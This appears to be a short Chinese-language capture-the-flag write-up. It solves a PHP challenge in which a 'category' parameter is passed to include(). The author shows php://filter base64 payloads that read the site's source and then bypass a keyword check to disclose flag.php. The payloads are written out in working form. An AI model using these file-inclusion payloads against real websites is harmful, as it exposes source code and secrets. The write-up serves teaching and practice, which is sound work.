首先先打开主页，审查代码，并没有什么特别的地方
使用dirsearch，发现flag.php
打开什么都不显示
网页下又两个按钮，从源代码来看，会将两个属性–"woofers"和"meowers"通过get方法传递，通过修改属性发现网页不显示
当输入标点符号发现报错
使用了include函数，想到使用php伪协议
使用php://filter读取一些源代码
category=php://filter/read=convert.base64-encode/resource=index.php
报错，发现.php重复了两次，推测源代码对输入进行了拼接
category=php://filter/read=convert.base64-encode/resource=index
可以正常读出，网页中的php代码为
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
category=php://filter/read=convert.base64-encode/resource=flag
尝试使用伪协议读取flag.php
发现不显示
审查php代码
可以发现当get传入的参数不包含"woofers"、“meowers”、“index"则会跳转到else，所以无法直接读取，必须在变量中插入"woofers”、“meowers”、“index”
最终payload
category=php://filter/read=convert.base64-encode/index/resource=flag
